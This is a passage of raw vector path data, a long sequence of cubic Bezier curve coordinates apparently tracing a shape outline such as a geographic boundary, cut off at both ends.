124829.00 160506.67 124872.00 160496.00 124915.00C160485.33 124925.67 160474.67 124936.33 160464.00 124947.00C160474.67 124968.33 160485.33 124989.67 160496.00 125011.00C160496.00 125022.00 160496.00 125033.00 160496.00 125044.00C160506.67 125065.33 160517.33 125086.67 160528.00 125108.00C160506.67 125129.33 160485.33 125150.67 160464.00 125172.00C160464.00 125204.33 160464.00 125236.67 160464.00 125269.00C160442.59 125290.60 160420.92 125311.92 160399.00 125333.00C160398.90 125343.82 160399.20 125354.64 160398.85 125365.46C160388.24 125397.64 160377.62 125429.82 160367.00 125462.00C160356.33 125472.67 160345.67 125483.33 160335.00 125494.00C160335.00 125515.33 160335.00 125536.67 160335.00 125558.00C160324.33 125579.33 160313.67 125600.67 160303.00 125622.00C160313.67 125633.00 160324.33 125644.00 160335.00 125655.00C160313.67 125676.33 160292.33 125697.67 160271.00 125719.00C160281.67 125719.00 160292.33 125719.00 160303.00 125719.00C160292.10 125730.61 160279.63 125740.89 160269.79 125753.40C160259.53 125773.93 160249.27 125794.47 160239.00 125815.00C160228.00 125825.67 160217.00 125836.33 160206.00 125847.00C160205.90 125858.15 160206.21 125869.31 160205.85 125880.46C160195.25 125912.31 160184.62 125944.15 160174.00 125976.00C160142.00 125997.33 160110.00 126018.67 160078.00 126040.00C160067.33 126029.33 160056.67 126018.67 160046.00 126008.00C160035.33 126018.67 160024.67 126029.33 160014.00 126040.00C160014.00 126051.00 160014.00 126062.00 160014.00 126073.00C159467.33 126073.00 158920.67 126073.00 158374.00 126073.00C158374.00 126083.67 158374.00 126094.33 158374.00 126105.00C158363.33 126115.67 158352.67 126126.33 158342.00 126137.00C158342.00 126190.67 158342.00 126244.33 158342.00 126298.00C158331.00 126308.67 158320.00 126319.33 158309.00 126330.00C158298.33 126362.00 158287.67 126394.00 158277.00 126426.00C158287.67 126436.67 158298.33 126447.33 158309.00 126458.00C158298.33 126469.00 158287.67 126480.00 158277.00 126491.00C158245.00 126491.00 158213.00 126491.00 158181.00 126491.00C158181.00 126501.67 158181.00 126512.33 158181.00 126523.00C158169.38 126533.89 158159.12 126546.41 158146.57 126556.20C158125.71 126566.47 158104.85 126576.73 158084.00 126587.00C158062.67 126608.33 158041.33 126629.67 158020.00 126651.00C157998.67 126651.00 157977.33 126651.00 157956.00 126651.00C157966.67 126672.67 157977.33 126694.33 157988.00 126716.00C157966.67 126726.67 157945.33 126737.33 157924.00 126748.00C157923.89 126758.82 157924.21 126769.64 157923.84 126780.46C157912.90 126812.31 157901.95 126844.15 157891.00 126876.00C157912.67 126876.00 157934.33 126876.00 157956.00 126876.00C157956.12 126887.15 157955.76 126898.30 157956.18 126909.45C157977.44 126962.64 157998.73 127015.82 158020.00 127069.00C158073.67 127079.67 158127.33 127090.33 158181.00 127101.00C158181.00 127197.67 158181.00 127294.33 158181.00 127391.00C158170.33 127412.33 158159.67 127433.67 158149.00 127455.00C158149.00 127487.33 158149.00 127519.67 158149.00 127552.00C158138.33 127562.67 158127.67 127573.33 158117.00 127584.00C158127.67 127616.00 158138.33 127648.00 158149.00 127680.00C158149.00 127701.67 158149.00 127723.33 158149.00 127745.00C158127.33 127745.00 158105.67 127745.00 158084.00 127745.00C158073.33 127755.67 158062.67 127766.33 158052.00 127777.00C158052.00 127787.67 158052.00 127798.33 158052.00 127809.00C158030.67 127841.00 158009.33 127873.00 157988.00 127905.00C157988.00 127926.67 157988.00 127948.33 157988.00 127970.00C157966.67 127991.33 157945.33 128012.67 157924.00 128034.00C157924.00 128044.67 157924.00 128055.33 157924.00 128066.00C157934.67 128076.67 157945.33 128087.33 157956.00 128098.00C158009.67 128098.00 158063.33 128098.00 158117.00 128098.00C158106.00 128119.67 158095.00 128141.33 158084.00 128163.00C158095.00 128173.67 158106.00 128184.33 158117.00 128195.00C158117.00 128184.33 158117.00 128173.67 158117.00 128163.00C158127.67 128173.67 158138.33 128184.33 158149.00 128195.00C158127.59 128216.60 158105.92 128237.92 158084.00 128259.00C158073.33 128259.00 158062.67 128259.00 158052.00 128259.00C158062.67 128269.67 158073.33 128280.33 158084.00 128291.00C158062.67 128301.67 158041.33 128312.33 158020.00 128323.00C158009.33 128344.67 157998.67 128366.33 157988.00 128388.00C157977.33 128398.67 157966.67 128409.33 157956.00 128420.00C157956.00 128430.67 157956.00 128441.33 157956.00 128452.00C157934.59 128473.60 157912.92 128494.92 157891.00 128516.00C157902.00 128526.67 157913.00 128537.33 157924.00 128548.00C157913.00 128559.00 157902.00 128570.00 157891.00 128581.00C157880.33 128581.00 157869.67 128581.00 157859.00 128581.00C157869.67 128591.67 157880.33 128602.33 157891.00 128613.00C157902.00 128645.00 157913.00 128677.00 157924.00 128709.00C157913.00 128709.00 157902.00 128709.00 157891.00 128709.00C157891.00 128698.33 157891.00 128687.67 157891.00 128677.00C157869.67 128677.00 157848.33 128677.00 157827.00 128677.00C157827.00 128720.00 157827.00 128763.00 157827.00 128806.00C157816.33 128816.67 157805.67 128827.33 157795.00 128838.00C157805.67 128848.67 157816.33 128859.33 157827.00 128870.00C157816.33 128880.67 157805.67 128891.33 157795.00 128902.00C157773.67 128902.00 157752.33 128902.00 157731.00 128902.00C157720.33 128912.67 157709.67 128923.33 157699.00 128934.00C157656.00 128934.00 157613.00 128934.00 157570.00 128934.00C157580.67 128944.67 157591.33 128955.33 157602.00 128966.00C157580.67 129009.00 157559.33 129052.00 157538.00 129095.00C157559.33 129116.33 157580.67 129137.67 157602.00 129159.00C157580.40 129180.41 157559.08 129202.08 157538.00 129224.00C157516.33 129234.67 157494.67 129245.33 157473.00 129256.00C157462.33 129266.67 157451.67 129277.33 157441.00 129288.00C157451.67 129298.67 157462.33 129309.33 157473.00 129320.00C157451.67 129330.67 157430.33 129341.33 157409.00 129352.00C157409.00 129373.33 157409.00 129394.67 157409.00 129416.00C157398.33 129427.00 157387.67 129438.00 157377.00 129449.00C157387.67 129459.67 157398.33 129470.33 157409.00 129481.00C157398.33 129502.33 157387.67 129523.67 157377.00 129545.00C157377.00 129534.33 157377.00 129523.67 157377.00 129513.00C157366.33 129523.67 157355.67 129534.33 157345.00 129545.00C157345.00 129566.33 157345.00 129587.67 157345.00 129609.00C157312.67 129598.33 157280.33 129587.67 157248.00 129577.00C157237.33 129587.67 157226.67 129598.33 157216.00 129609.00C157184.00 129598.33 157152.00 129587.67 157120.00 129577.00C157098.33 129577.00 157076.67 129577.00 157055.00 129577.00C157044.33 129587.67 157033.67 129598.33 157023.00 129609.00C156991.00 129620.00 156959.00 129631.00 156927.00 129642.00C156894.67 129642.00 156862.33 129642.00 156830.00 129642.00C156819.33 129631.00 156808.67 129620.00 156798.00 129609.00C156766.06 129641.39 156734.28 129673.94 156702.00 129706.00C156702.00 129716.67 156702.00 129727.33 156702.00 129738.00C156691.33 129738.00 156680.67 129738.00 156670.00 129738.00C156659.00 129727.33 156648.00 129716.67 156637.00 129706.00C156615.57 129716.82 156593.97 129727.29 156572.66 129738.34C156551.44 129759.56 156530.22 129780.78 156509.00 129802.00C156509.00 129812.67 156509.00 129823.33 156509.00 129834.00C156530.33 129845.00 156551.67 129856.00 156573.00 129867.00C156573.00 129877.67 156573.00 129888.33 156573.00 129899.00C156594.33 129920.33 156615.67 129941.67 156637.00 129963.00C156648.00 129963.00 156659.00 129963.00 156670.00 129963.00C156680.67 129973.67 156691.33 129984.33 156702.00 129995.00C156723.33 129995.00 156744.67 129995.00 156766.00 129995.00C156798.12 130027.55 156829.88 130060.46 156863.00 130092.00C156863.00 130102.67 156863.00 130113.33 156863.00 130124.00C156841.33 130124.00 156819.67 130124.00 156798.00 130124.00C156787.33 130113.33 156776.67 130102.67 156766.00 130092.00C156766.00 130124.00 156766.00 130156.00 156766.00 130188.00C156734.00 130220.33 156702.00 130252.67 156670.00 130285.00C156670.00 130295.67 156670.00 130306.33 156670.00 130317.00C156648.33 130317.00 156626.67 130317.00 156605.00 130317.00C156605.00 130338.33 156605.00 130359.67 156605.00 130381.00C156594.33 130391.67 156583.67 130402.33 156573.00 130413.00C156573.00 130423.67 156573.00 130434.33 156573.00 130445.00C156530.33 130445.00 156487.67 130445.00 156445.00 130445.00C156445.00 130488.00 156445.00 130531.00 156445.00 130574.00C156434.00 130574.00 156423.00 130574.00 156412.00 130574.00C156401.18 130595.43 156390.71 130617.03 156379.66 130638.34C156358.17 130659.63 156336.97 130681.20 156316.00 130703.00C156316.00 130713.67 156316.00 130724.33 156316.00 130735.00C156305.33 130745.67 156294.67 130756.33 156284.00 130767.00C156284.00 130777.67 156284.00 130788.33 156284.00 130799.00C156273.33 130799.00 156262.67 130799.00 156252.00 130799.00C156273.33 130842.00 156294.67 130885.00 156316.00 130928.00C156305.33 130938.67 156294.67 130949.33 156284.00 130960.00C156284.00 130981.33 156284.00 131002.67 156284.00 131024.00C156294.67 131034.67 156305.33 131045.33 156316.00 131056.00C156316.00 131045.33 156316.00 131034.67 156316.00 131024.00C156326.67 131034.67 156337.33 131045.33 156348.00 131056.00C156337.33 131077.67 156326.67 131099.33 156316.00 131121.00C156326.67 131131.67 156337.33 131142.33 156348.00 131153.00C156326.67 131174.33 156305.33 131195.67 156284.00 131217.00C156262.57 131227.82 156240.97 131238.30 156219.65 131249.34C156197.59 131270.37 156176.01 131291.91 156155.00 131314.00C156155.00 131356.67 156155.00 131399.33 156155.00 131442.00C156144.33 131463.33 156133.67 131484.67 156123.00 131506.00C156123.00 131517.00 156123.00 131528.00 156123.00 131539.00C156133.67 131539.00 156144.33 131539.00 156155.00 131539.00C156165.67 131549.67 156176.33 131560.33 156187.00 131571.00C156165.67 131581.67 156144.33 131592.33 156123.00 131603.00C156133.67 131613.67 156144.33 131624.33 156155.00 131635.00C156144.33 131645.67 156133.67 131656.33 156123.00 131667.00C156133.67 131688.67 156144.33 131710.33 156155.00 131732.00C156133.67 131742.67 156112.33 131753.33 156091.00 131764.00C156091.00 131774.67 156091.00 131785.33 156091.00 131796.00C156069.67 131806.67 156048.33 131817.33 156027.00 131828.00C156037.81 131828.15 156048.63 131827.71 156059.43 131828.22C156080.62 131838.81 156101.81 131849.41 156123.00 131860.00C156101.67 131881.33 156080.33 131902.67 156059.00 131924.00C156037.33 131924.00 156015.67 131924.00 155994.00 131924.00C155983.33 131913.33 155972.67 131902.67 155962.00 131892.00C155951.33 131902.67 155940.67 131913.33 155930.00 131924.00C155930.00 131956.33 155930.00 131988.67 155930.00 132021.00C155919.33 132031.67 155908.67 132042.33 155898.00 132053.00C155898.00 132074.33 155898.00 132095.67 155898.00 132117.00C155887.33 132138.67 155876.67 132160.33 155866.00 132182.00C155898.00 132192.67 155930.00 132203.33 155962.00 132214.00C155962.00 132224.67 155962.00 132235.33 155962.00 132246.00C155983.67 132278.00 156005.33 132310.00 156027.00 132342.00C156015.06 132353.23 156004.45 132366.04 155991.60 132376.21C155971.07 132386.48 155950.53 132396.73 155930.00 132407.00C155919.33 132439.00 155908.67 132471.00 155898.00 132503.00C155876.67 132503.00 155855.33 132503.00 155834.00 132503.00C155823.00 132513.67 155812.00 132524.33 155801.00 132535.00C155801.00 132545.67 155801.00 132556.33 155801.00 132567.00C155790.33 132578.00 155779.67 132589.00 155769.00 132600.00C155769.00 132610.67 155769.00 132621.33 155769.00 132632.00C155737.00 132642.67 155705.00 132653.33 155673.00 132664.00C155673.00 132674.67 155673.00 132685.33 155673.00 132696.00C155683.67 132706.67 155694.33 132717.33 155705.00 132728.00C155672.90 132749.80 155640.67 132771.42 155608.65 132793.34C155593.78 132808.37 155577.00 132821.79 155565.12 132839.50C155536.74 132877.33 155508.37 132915.17 155480.00 132953.00C155490.67 132964.00 155501.33 132975.00 155512.00 132986.00C155522.67 132986.00 155533.33 132986.00 155544.00 132986.00C155522.67 133007.33 155501.33 133028.67 155480.00 133050.00C155490.67 133060.67 155501.33 133071.33 155512.00 133082.00C155544.33 133082.00 155576.67 133082.00 155609.00 133082.00C155609.00 133103.33 155609.00 133124.67 155609.00 133146.00C155619.67 133156.67 155630.33 133167.33 155641.00 133178.00C155651.67 133178.00 155662.33 133178.00 155673.00 133178.00C155683.67 133167.33 155694.33 133156.67 155705.00 133146.00C155737.00 133146.00 155769.00 133146.00 155801.00 133146.00C155822.67 133156.67 155844.33 133167.33 155866.00 133178.00C155876.67 133189.00 155887.33 133200.00 155898.00 133211.00C155887.33 133211.00 155876.67 133211.00 155866.00 133211.00C155876.67 133232.33 155887.33 133253.67 155898.00 133275.00C155908.67 133264.33 155919.33 133253.67 155930.00 133243.00C155940.67 133253.67 155951.33 133264.33 155962.00 133275.00C155962.00 133328.67 155962.00 133382.33 155962.00 133436.00C155897.67 133457.33 155833.33 133478.67 155769.00 133500.00C155769.00 133510.67 155769.00 133521.33 155769.00 133532.00C155726.33 133542.67 155683.67 133553.33 155641.00 133564.00C155608.67 133564.00 155576.33 133564.00 155544.00 133564.00C155512.00 133574.67 155480.00 133585.33 155448.00 133596.00C155437.33 133596.00 155426.67 133596.00 155416.00 133596.00C155405.33 133617.67 155394.67 133639.33 155384.00 133661.00C155276.67 133693.00 155169.33 133725.00 155062.00 133757.00C155051.33 133767.67 155040.67 133778.33 155030.00 133789.00C154918.37 133833.92 154806.46 133878.13 154695.03 133923.53C154624.35 133953.69 154553.68 133983.84 154483.00 134014.00C154483.00 134035.67 154483.00 134057.33 154483.00 134079.00C154461.67 134089.67 154440.33 134100.33 154419.00 134111.00C154397.67 134111.00 154376.33 134111.00 154355.00 134111.00C154332.44 134121.73 154310.42 134133.70 154287.51 134143.63C154244.25 134154.64 154200.78 134164.87 154157.66 134176.43C154126.77 134186.62 154095.88 134196.80 154065.00 134207.00C154054.33 134217.67 154043.67 134228.33 154033.00 134239.00C153968.53 134260.76 153904.00 134282.35 153839.57 134304.22C153775.38 134336.15 153711.19 134368.07 153647.00 134400.00C153635.38 134410.91 153625.10 134423.40 153612.56 134433.23C153570.20 134454.50 153527.97 134476.01 153485.53 134497.12C153399.87 134518.48 153314.18 134539.70 153228.55 134561.18C153175.03 134582.44 153121.52 134603.73 153068.00 134625.00C153068.00 134636.00 153068.00 134647.00 153068.00 134658.00C153025.33 134700.67 152982.67 134743.33 152940.00 134786.00C152875.53 134807.43 152811.00 134828.68 152746.57 134850.22C152725.38 134861.15 152704.19 134872.07 152683.00 134883.00C152672.00 134883.00 152661.00 134883.00 152650.00 134883.00C152607.33 134915.00 152564.67 134947.00 152522.00 134979.00C152511.18 134979.10 152500.36 134978.80 152489.54 134979.15C152456.59 134990.26 152423.32 135000.47 152390.60 135012.21C152370.07 135022.48 152349.53 135032.73 152329.00 135043.00C152329.00 135053.67 152329.00 135064.33 152329.00 135075.00C152339.67 135086.00 152350.33 135097.00 152361.00 135108.00C152347.35 135122.66 152330.95 135135.10 152320.64 135152.55C152302.10 135180.37 152283.54 135208.18 152265.00 135236.00C152222.00 135246.67 152179.00 135257.33 152136.00 135268.00C152136.00 135257.33 152136.00 135246.67 152136.00 135236.00C152093.00 135236.00 152050.00 135236.00 152007.00 135236.00C151975.00 135246.67 151943.00 135257.33 151911.00 135268.00C151911.00 135289.67 151911.00 135311.33 151911.00 135333.00C151889.67 135343.67 151868.33 135354.33 151847.00 135365.00C151835.73 135342.29 151823.04 135320.25 151812.71 135297.10C151802.47 135266.07 151792.24 135235.03 151782.00 135204.00C151782.00 135193.33 151782.00 135182.67 151782.00 135172.00C151814.33 135150.67 151846.67 135129.33 151879.00 135108.00C151879.00 135065.00 151879.00 135022.00 151879.00 134979.00C151846.67 134979.00 151814.33 134979.00 151782.00 134979.00C151760.67 134968.33 151739.33 134957.67 151718.00 134947.00C151718.00 134936.33 151718.00 134925.67 151718.00 134915.00C151707.33 134915.00 151696.67 134915.00 151686.00 134915.00C151643.00 134947.00 151600.00 134979.00 151557.00 135011.00C151546.33 135000.33 151535.67 134989.67 151525.00 134979.00C151525.00 134968.33 151525.00 134957.67 151525.00 134947.00C151514.33 134957.67 151503.67 134968.33 151493.00 134979.00C151482.33 134979.00 151471.67 134979.00 151461.00 134979.00C151450.33 134968.33 151439.67 134957.67 151429.00 134947.00C151418.00 134947.00 151407.00 134947.00 151396.00 134947.00C151385.33 134936.33 151374.67 134925.67 151364.00 134915.00C151364.00 134904.33 151364.00 134893.67 151364.00 134883.00C151353.33 134872.00 151342.67 134861.00 151332.00 134850.00C151321.33 134861.00 151310.67 134872.00 151300.00 134883.00C151289.33 134872.00 151278.67 134861.00 151268.00 134850.00C151257.33 134861.00 151246.67 134872.00 151236.00 134883.00C151214.18 134883.10 151192.36 134882.80 151170.54 134883.15C151138.69 134893.75 151106.85 134904.38 151075.00 134915.00C151053.57 134904.18 151031.97 134893.71 151010.66 134882.66C150999.77 134871.77 150988.89 134860.89 150978.00 134850.00C150967.33 134861.00 150956.67 134872.00 150946.00 134883.00C150924.67 134883.00 150903.33 134883.00 150882.00 134883.00C150871.33 134872.00 150860.67 134861.00 150850.00 134850.00C150839.33 134850.00 150828.67 134850.00 150818.00 134850.00C150796.33 134861.00 150774.67 134872.00 150753.00 134883.00C150753.00 134893.67 150753.00 134904.33 150753.00 134915.00C150715.90 134940.26 150677.72 134963.97 150641.52 134990.52C150603.68 135018.68 150565.84 135046.84 150528.00 135075.00C150506.67 135075.00 150485.33 135075.00 150464.00 135075.00C150453.15 135086.04 150442.61 135097.37 150431.57 135108.22C150388.71 135129.48 150345.86 135150.74 150303.00 135172.00C150238.67 135172.00 150174.33 135172.00 150110.00 135172.00C150110.00 135161.33 150110.00 135150.67 150110.00 135140.00C150099.33 135129.33 150088.67 135118.67 150078.00 135108.00C150067.33 135108.00 150056.67 135108.00 150046.00 135108.00C150035.33 135129.33 150024.67 135150.67 150014.00 135172.00C149960.33 135182.67 149906.67 135193.33 149853.00 135204.00C149842.33 135214.67 149831.67 135225.33 149821.00 135236.00C149809.39 135225.10 149799.11 135212.63 149786.60 135202.79C149766.07 135192.52 149745.53 135182.27 149725.00 135172.00C149725.00 135139.67 149725.00 135107.33 149725.00 135075.00C149714.00 135086.00 149703.00 135097.00 149692.00 135108.00C149681.33 135108.00 149670.67 135108.00 149660.00 135108.00C149649.33 135129.33 149638.67 135150.67 149628.00 135172.00C149617.33 135172.00 149606.67 135172.00 149596.00 135172.00C149596.00 135193.33 149596.00 135214.67 149596.00 135236.00C149585.33 135236.00 149574.67 135236.00 149564.00 135236.00C149564.00 135214.67 149564.00 135193.33 149564.00 135172.00C149553.33 135182.67 149542.67 135193.33 149532.00 135204.00C149510.33 135182.67 149488.67 135161.33 149467.00 135140.00C149445.67 135140.00 149424.33 135140.00 149403.00 135140.00C149403.00 135150.67 149403.00 135161.33 149403.00 135172.00C149381.67 135172.00 149360.33 135172.00 149339.00 135172.00C149339.00 135193.33 149339.00 135214.67 149339.00 135236.00C149328.33 135246.67 149317.67 135257.33 149307.00 135268.00C149307.00 135257.33 149307.00 135246.67 149307.00 135236.00C149296.00 135214.67 149285.00 135193.33 149274.00 135172.00C149252.67 135172.00 149231.33 135172.00 149210.00 135172.00C149199.33 135182.67 149188.67 135193.33 149178.00 135204.00C149145.67 135204.00 149113.33 135204.00 149081.00 135204.00C149059.67 135236.33 149038.33 135268.67 149017.00 135301.00C149006.33 135290.00 148995.67 135279.00 148985.00 135268.00C148974.33 135268.00 148963.67 135268.00 148953.00 135268.00C148953.00 135257.33 148953.00 135246.67 148953.00 135236.00C148931.67 135225.33 148910.33 135214.67 148889.00 135204.00C148899.67 135204.00 148910.33 135204.00 148921.00 135204.00C148910.33 135193.33 148899.67 135182.67 148889.00 135172.00C148889.00 135161.33 148889.00 135150.67 148889.00 135140.00C148867.33 135140.00 148845.67 135140.00 148824.00 135140.00C148781.33 135172.00 148738.67 135204.00 148696.00 135236.00C148674.33 135236.00 148652.67 135236.00 148631.00 135236.00C148588.13 135257.26 148545.45 135278.91 148503.00 135301.00C148481.33 135290.00 148459.67 135279.00 148438.00 135268.00C148427.33 135279.00 148416.67 135290.00 148406.00 135301.00C148395.33 135301.00 148384.67 135301.00 148374.00 135301.00C148374.00 135311.67 148374.00 135322.33 148374.00 135333.00C148363.33 135322.33 148352.67 135311.67 148342.00 135301.00C148342.00 135322.33 148342.00 135343.67 148342.00 135365.00C148320.67 135365.00 148299.33 135365.00 148278.00 135365.00C148267.00 135375.67 148256.00 135386.33 148245.00 135397.00C148180.23 135418.87 148115.10 135439.74 148050.57 135462.23C148029.72 135472.83 148008.85 135483.41 147988.00 135494.00C147977.18 135494.10 147966.36 135493.79 147955.54 135494.15C147923.69 135504.75 147891.85 135515.38 147860.00 135526.00C147860.00 135536.67 147860.00 135547.33 147860.00 135558.00C147849.00 135558.00 147838.00 135558.00 147827.00 135558.00C147816.33 135568.67 147805.67 135579.33 147795.00 135590.00C147784.33 135590.00 147773.67 135590.00 147763.00 135590.00C147752.33 135600.67 147741.67 135611.33 147731.00 135622.00C147709.67 135600.67 147688.33 135579.33 147667.00 135558.00C147634.67 135558.00 147602.33 135558.00 147570.00 135558.00C147570.00 135568.67 147570.00 135579.33 147570.00 135590.00C147527.33 135600.67 147484.67 135611.33 147442.00 135622.00C147431.00 135622.00 147420.00 135622.00 147409.00 135622.00C147409.00 135643.33 147409.00 135664.67 147409.00 135686.00C147398.33 135686.00 147387.67 135686.00 147377.00 135686.00C147366.33 135697.00 147355.67 135708.00 147345.00 135719.00C147345.00 135708.00 147345.00 135697.00 147345.00 135686.00C147323.67 135675.33 147302.33 135664.67 147281.00 135654.00C147281.00 135675.67 147281.00 135697.33 147281.00 135719.00C147259.67 135729.67 147238.33 135740.33 147217.00 135751.00C147206.00 135740.33 147195.00 135729.67 147184.00 135719.00C147184.00 135761.67 147184.00 135804.33 147184.00 135847.00C147162.67 135847.00 147141.33 135847.00 147120.00 135847.00C147109.33 135857.67 147098.67 135868.33 147088.00 135879.00C147077.33 135868.33 147066.67 135857.67 147056.00 135847.00C147045.18 135868.43 147034.70 135890.03 147023.66 135911.35C147013.12 135922.24 147002.55 135933.12 146992.00 135944.00C146959.67 135944.00 146927.33 135944.00 146895.00 135944.00C146884.33 135965.33 146873.67 135986.67 146863.00 136008.00C146841.67 136018.67 146820.33 136029.33 146799.00 136040.00C146788.00 136040.00 146777.00 136040.00 146766.00 136040.00C146766.00 136029.33 146766.00 136018.67 146766.00 136008.00C146744.67 136018.67 146723.33 136029.33 146702.00 136040.00C146702.00 136050.67 146702.00 136061.33 146702.00 136072.00C146680.67 136082.67 146659.33 136093.33 146638.00 136104.00C146627.33 136115.00 146616.67 136126.00 146606.00 136137.00C146595.00 136126.00 146584.00 136115.00 146573.00 136104.00C146562.33 136115.00 146551.67 136126.00 146541.00 136137.00C146530.33 136094.00 146519.67 136051.00 146509.00 136008.00C146509.00 136018.67 146509.00 136029.33 146509.00 136040.00C146498.33 136029.33 146487.67 136018.67 146477.00 136008.00C146455.67 136008.00 146434.33 136008.00 146413.00 136008.00C146402.33 136018.67 146391.67 136029.33 146381.00 136040.00C146381.00 136029.33 146381.00 136018.67 146381.00 136008.00C146370.00 136029.33 146359.00 136050.67 146348.00 136072.00C146326.67 136072.00 146305.33 136072.00 146284.00 136072.00C146273.33 136082.67 146262.67 136093.33 146252.00 136104.00C146241.33 136093.33 146230.67 136082.67 146220.00 136072.00C146177.00 136072.00 146134.00 136072.00 146091.00 136072.00C146080.33 136061.33 146069.67 136050.67 146059.00 136040.00C146027.16 136071.97 145994.92 136103.55 145963.81 136136.23C145950.91 136138.06 145937.82 136136.45 145924.84 136137.00C145915.89 136137.00 145906.95 136137.00 145898.00 136137.00C145898.00 136115.33 145898.00 136093.67 145898.00 136072.00C145855.33 136072.00 145812.67 136072.00 145770.00 136072.00C145748.33 136061.33 145726.67 136050.67 145705.00 136040.00C145694.33 136050.67 145683.67 136061.33 145673.00 136072.00C145651.67 136072.00 145630.33 136072.00 145609.00 136072.00C145598.33 136093.67 145587.67 136115.33 145577.00 136137.00C145577.00 136158.33 145577.00 136179.67 145577.00 136201.00C145566.33 136190.33 145555.67 136179.67 145545.00 136169.00C145502.00 136211.67 145459.00 136254.33 145416.00 136297.00C145384.00 136307.67 145352.00 136318.33 145320.00 136329.00C145320.00 136340.00 145320.00 136351.00 145320.00 136362.00C145298.33 136372.67 145276.67 136383.33 145255.00 136394.00C145255.00 136404.67 145255.00 136415.33 145255.00 136426.00C145233.67 136426.00 145212.33 136426.00 145191.00 136426.00C145191.00 136415.33 145191.00 136404.67 145191.00 136394.00C145158.67 136404.67 145126.33 136415.33 145094.00 136426.00C145083.33 136415.33 145072.67 136404.67 145062.00 136394.00C145040.67 136404.67 145019.33 136415.33 144998.00 136426.00C144987.33 136415.33 144976.67 136404.67 144966.00 136394.00C144955.18 136394.10 144944.36 136393.80 144933.54 136394.15C144901.36 136404.75 144869.18 136415.38 144837.00 136426.00C144826.33 136436.67 144815.67 136447.33 144805.00 136458.00C144805.00 136479.33 144805.00 136500.67 144805.00 136522.00C144773.00 136533.00 144741.00 136544.00 144709.00 136555.00C144709.00 136565.67 144709.00 136576.33 144709.00 136587.00C144687.33 136608.33 144665.67 136629.67 144644.00 136651.00C144644.00 136661.67 144644.00 136672.33 144644.00 136683.00C144633.33 136672.33 144622.67 136661.67 144612.00 136651.00C144590.67 136651.00 144569.33 136651.00 144548.00 136651.00C144526.67 136640.33 144505.33 136629.67 144484.00 136619.00C144462.33 136629.67 144440.67 136640.33 144419.00 136651.00C144387.00 136629.67 144355.00 136608.33 144323.00 136587.00C144312.33 136587.00 144301.67 136587.00 144291.00 136587.00C144269.33 136608.33 144247.67 136629.67 144226.00 136651.00C144204.67 136651.00 144183.33 136651.00 144162.00 136651.00C144140.67 136661.67 144119.33 136672.33 144098.00 136683.00C144087.00 136683.00 144076.00 136683.00 144065.00 136683.00C144054.33 136693.67 144043.67 136704.33 144033.00 136715.00C144022.33 136715.00 144011.67 136715.00 144001.00 136715.00C143990.11 136726.62 143977.59 136736.88 143967.80 136749.43C143957.52 136770.28 143947.27 136791.15 143937.00 136812.00C143937.00 136822.67 143937.00 136833.33 143937.00 136844.00C143894.10 136865.54 143851.10 136886.87 143808.00 136908.00C143776.00 136908.00 143744.00 136908.00 143712.00 136908.00C143701.33 136897.33 143690.67 136886.67 143680.00 136876.00C143669.33 136876.00 143658.67 136876.00 143648.00 136876.00C143636.07 136886.91 143625.39 136899.33 143612.60 136909.21C143592.07 136919.48 143571.53 136929.73 143551.00 136940.00C143540.33 136972.33 143529.67 137004.67 143519.00 137037.00C143454.67 137037.00 143390.33 137037.00 143326.00 137037.00C143293.90 137058.47 143261.67 137079.75 143229.65 137101.34C143218.76 137111.88 143207.88 137122.45 143197.00 137133.00C143154.33 137122.33 143111.67 137111.67 143069.00 137101.00C143015.33 137101.00 142961.67 137101.00 142908.00 137101.00C142908.00 137090.33 142908.00 137079.67 142908.00 137069.00C142885.30 137079.95 142863.20 137092.21 142840.10 137102.29C142809.07 137112.53 142778.03 137122.76 142747.00 137133.00C142715.00 137154.67 142683.00 137176.33 142651.00 137198.00C142629.33 137187.00 142607.67 137176.00 142586.00 137165.00C142574.38 137176.22 142564.18 137189.09 142551.60 137199.21C142531.07 137209.48 142510.53 137219.73 142490.00 137230.00C142479.33 137230.00 142468.67 137230.00 142458.00 137230.00C142446.38 137240.89 142436.12 137253.41 142423.57 137263.20C142402.72 137273.48 142381.85 137283.73 142361.00 137294.00C142350.33 137294.00 142339.67 137294.00 142329.00 137294.00C142297.12 137325.95 142264.96 137357.62 142233.74 137390.22C142232.26 137400.70 142233.01 137411.52 142233.41 137421.98C142238.73 137430.92 142247.98 137436.87 142254.77 137444.75C142261.12 137449.25 142267.83 137457.03 142258.09 137461.91C142239.06 137480.94 142220.03 137499.97 142201.00 137519.00C142158.00 137529.67 142115.00 137540.33 142072.00 137551.00C142061.19 137551.15 142050.37 137550.71 142039.57 137551.22C142018.38 137561.81 141997.19 137572.41 141976.00 137583.00C141965.00 137583.00 141954.00 137583.00 141943.00 137583.00C141889.67 137615.33 141836.33 137647.67 141783.00 137680.00C141793.67 137690.67 141804.33 137701.33 141815.00 137712.00C141804.33 137733.33 141793.67 137754.67 141783.00 137776.00C141783.00 137787.00 141783.00 137798.00 141783.00 137809.00C141772.33 137809.00 141761.67 137809.00 141751.00 137809.00C141740.00 137819.67 141729.00 137830.33 141718.00 137841.00C141686.00 137830.33 141654.00 137819.67 141622.00 137809.00C141568.33 137819.67 141514.67 137830.33 141461.00 137841.00C141450.33 137851.67 141439.67 137862.33 141429.00 137873.00C141407.67 137873.00 141386.33 137873.00 141365.00 137873.00C141354.00 137894.33 141343.00 137915.67 141332.00 137937.00C141310.67 137937.00 141289.33 137937.00 141268.00 137937.00C141236.00 137958.33 141204.00 137979.67 141172.00 138001.00C141139.67 138001.00 141107.33 138001.00 141075.00 138001.00C141085.67 137969.00 141096.33 137937.00 141107.00 137905.00C141085.67 137883.67 141064.33 137862.33 141043.00 137841.00C141021.67 137841.00 141000.33 137841.00 140979.00 137841.00C140957.40 137819.59 140936.08 137797.92 140915.00 137776.00C140904.00 137776.00 140893.00 137776.00 140882.00 137776.00C140850.00 137754.67 140818.00 137733.33 140786.00 137712.00C140775.33 137712.00 140764.67 137712.00 140754.00 137712.00C140764.67 137722.67 140775.33 137733.33 140786.00 137744.00C140764.67 137797.67 140743.33 137851.33 140722.00 137905.00C140700.33 137894.33 140678.67 137883.67 140657.00 137873.00C140614.33 137905.00 140571.67 137937.00 140529.00 137969.00C140518.33 137969.00 140507.67 137969.00 140497.00 137969.00C140486.00 137979.67 140475.00 137990.33 140464.00 138001.00C140451.88 138001.55 140439.51 137999.77 140427.56 138002.14C140386.38 138012.76 140345.19 138023.39 140304.00 138034.00C140293.00 138023.00 140282.00 138012.00 140271.00 138001.00C140271.00 137990.33 140271.00 137979.67 140271.00 137969.00C140286.40 